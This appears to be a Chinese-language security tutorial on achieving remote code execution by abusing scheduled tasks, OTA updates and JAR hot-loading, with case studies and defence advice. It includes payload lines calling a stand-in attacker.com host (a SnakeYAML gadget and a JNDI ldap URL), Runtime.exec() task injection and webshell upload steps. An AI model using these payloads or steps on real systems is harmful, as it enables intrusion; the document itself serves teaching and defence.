如何巧用系统合法功能实现RCE
字数 3251 2025-10-01 14:05:52
教学文档:巧用系统合法功能实现RCE
一、核心概念与概述
RCE (Remote Code Execution / 远程代码执行):攻击者能够从远程位置在目标系统上执行任意命令或代码。
合法功能滥用:利用系统本身提供的、出于正当目的设计的特性、接口或机制,通过非预期的方式绕过安全限制,最终达成RCE。此类攻击往往能有效规避部分安全检测,因为其利用的是“可信”的合法路径。
二、技术细节与利用链分析
1. 总体攻防模型(前置说明)
攻击模型通常不是单点突破,而是组合利用多个漏洞或弱点:
- 初始接入:首先通过其他漏洞(如弱口令、任意文件上传、权限绕过、SQL注入等)获取系统一定权限的访问能力(通常是后台管理员权限)。
- 功能发现:在已控制的上下文中,寻找具备代码执行潜力的合法功能模块。
- 利用实现:通过构造恶意输入或文件,欺骗这些功能模块执行攻击者指定的代码。
- 权限维持与提升:通过获得的RCE权限进一步巩固访问,提升权限或横向移动。
2. 定时任务机制与RCE利用
定时任务是许多系统用于执行周期性任务的合法功能。
-
2.1 若依框架定时任务RCE分析
- 利用前提:获取到若依框架后台管理权限(通常通过弱口令、爆破或其他漏洞)。
- 漏洞本质:后台的“定时任务”功能允许管理员添加调用特定Java类方法的任务。该功能对传入的类名和方法名未做充分安全过滤。
- 利用方法:
- 登录后台,进入系统监控 -> 定时任务。
- 创建新任务,调用恶意类方法。例如,调用
java.lang.Runtime.getRuntime().exec()来执行系统命令。
- 关键点:利用的是框架对反射机制调用控制的缺失。
-
2.2 其他利用方式(YAML解析、JNDI注入)
- 2.2.1 SnakeYAML反序列化利用:如果系统使用SnakeYAML库解析定时任务配置等YAML格式输入,且类路径中存在可利用的反序列化链(如
org.springframework.context.support.ClassPathXmlApplicationContext),可通过构造恶意YAML内容,指向攻击者控制的XML文件,实现远程代码执行。!!javax.script.ScriptEngineManager [!!java.net.URL [“http://attacker.com/”]]
- 2.2.2 JNDI注入利用:如果定时任务执行逻辑中涉及JNDI查找,且用户输入可控(如任务参数),可构造恶意的JNDI URL(如
ldap://attacker.com/Exploit),触发JNDI注入,加载远程恶意类。
- 2.2.1 SnakeYAML反序列化利用:如果系统使用SnakeYAML库解析定时任务配置等YAML格式输入,且类路径中存在可利用的反序列化链(如
-
2.3 利用链总结
- 入口:后台管理权限 -> 定时任务管理页面。
- 触发:添加/编辑定时任务,调用危险方法或注入恶意配置。
- 执行:任务调度器执行任务,触发恶意代码。
- 防御:严格校验定时任务调用的类与方法;避免使用危险方法;限制网络出连;升级依赖库。
3. OTA更新机制与RCE利用
OTA(Over-The-Air)更新是设备(如IoT设备、车载系统、手机)无线下载并安装软件更新的合法功能。
-
3.1 OTA更新流程与安全风险
- 流程:设备检查更新 -> 下载更新包 -> 验证签名/校验和 -> 安装更新。
- 风险点:
- 更新服务器被入侵:攻击者替换官方更新包为恶意包。
- 更新过程无加密或弱校验:更新包可被篡改。
- 签名验证逻辑缺陷:允许安装未签名或签名错误的包。
- 更新包内容解析漏洞:压缩包路径遍历、固件解析缓冲区溢出等。
-
3.2 攻击模型与利用方式
- 3.2.1 恶意更新包构造:逆向官方更新包格式,构造包含后门的恶意包,利用服务器漏洞、供应链攻击或管理后台漏洞上传此包。
- 3.2.2 中间人攻击(MITM):在设备与更新服务器通信未使用HTTPS或证书验证不严格时,劫持网络流量,将下载链接重定向至攻击者控制的服务器,或直接篡改响应包。
- 3.2.3 安全引导绕过:某些设备的安全引导机制可能存在问题,允许加载未正确签名的更新包。
-
3.3 利用链总结
- 入口:控制更新服务器、MITM、利用上传漏洞、供应链攻击。
- 触发:设备发起更新请求。
- 执行:设备下载并安装恶意更新包,执行其中的恶意代码。
- 防御:强制使用HTTPS等加密通信;强签名校验(非对称加密);安全引导;代码审计更新流程。
4. 热加载补丁机制与RCE利用
热加载允许系统在运行时动态加载外部代码(如Java的JAR文件、Python的模块),无需重启应用。
-
4.1 热加载原理与风险
- 原理:通过自定义类加载器或特定API(如
java.net.URLClassLoader)从指定位置(文件系统、URL)加载类文件并实例化。 - 风险点:如果加载的来源、文件名或内容用户可控,且缺乏安全校验,则可加载恶意类。
- 原理:通过自定义类加载器或特定API(如
-
4.2 攻击模型与利用方式
- 4.2.1 契约锁系统热加载机制实现RCE(案例)
- 利用前提:获取系统后台权限(如通过弱口令)。
- 漏洞本质:后台存在“热加载”或“插件安装”功能,允许上传JAR文件。系统未对上传的JAR文件进行安全检查,直接使用
URLClassLoader加载。 - 利用方法:
- 编写恶意Java类,编译打包成JAR文件。该类静态代码块或构造函数中包含执行命令的代码。
- 通过后台功能上传此恶意JAR文件。
- 系统热加载机制自动或手动触发加载此JAR,恶意代码随即执行。
- 关键点:利用了系统设计的动态扩展能力,但缺乏对扩展代码的信任边界控制。
- 4.2.1 契约锁系统热加载机制实现RCE(案例)
-
4.3 利用链总结
- 入口:后台管理权限 -> 热加载/插件管理功能。
- 触发:上传恶意JAR/ZIP文件。
- 执行:热加载机制加载恶意类,静态代码块或构造函数中的代码被执行。
- 防御:禁用不必要的热加载功能;如果必须使用,则对加载的代码进行强数字签名验证;在沙箱环境中执行加载的代码。
三、实战案例复现
-
案例一:某大型国企安全设备任意文件上传+定时任务实现RCE
- 利用任意文件上传漏洞,上传一个包含命令的JSP Webshell文件。
- 利用后台定时任务功能,创建调用
Runtime.exec()的任务,执行命令(如curl或wget)来触发访问已上传的Webshell,从而获得交互式RCE Shell。
-
案例二:某大型企业数字化平台任意密码重置漏洞+利用远程任务实现RCE
- 首先利用任意密码重置漏洞,将某个高权限用户(如管理员)的密码重置为已知值。
- 使用重置后的密码登录系统后台。
- 在后台的“远程任务”或“作业调度”功能中,配置执行系统命令的任务,实现RCE。
-
案例三:某大型车企OTA管理平台弱口令+利用OTA文件注入实现RCE
- 通过弱口令(admin/admin)登录OTA车辆管理平台后台。
- 在固件管理或更新包上传模块,上传包含恶意脚本的篡改固件包。
- 将恶意更新包推送给测试车辆或特定车辆。
- 车辆接收并安装更新,恶意代码在车机系统执行,获得RCE。
四、总结与防御建议
核心思想:“功能即漏洞”。系统提供的强大功能如果缺乏严格的访问控制和输入校验,就可能成为攻击者利用的跳板。
防御措施:
- 最小权限原则:严格限制后台管理功能的访问权限,避免弱口令。
- 输入校验与过滤:对所有用户输入(包括文件上传、任务参数、配置内容)进行严格的白名单校验和过滤。
- 安全设计:
- 避免在代码中直接调用危险函数(如
Runtime.exec())。 - 对动态加载代码、反序列化等危险操作实施强制签名验证。
- OTA更新必须使用强加密签名(如RSA)并验证。
- 避免在代码中直接调用危险函数(如
- 网络隔离与监控:关键系统(如OTA服务器、管理后台)应部署于隔离网络,并部署WAF、IDS/IPS监控异常流量和行为。
- 代码安全审计:在开发生命周期中引入安全代码审计,重点关注功能滥用风险。
- 依赖库安全:定期更新第三方库,避免使用存在已知漏洞的版本。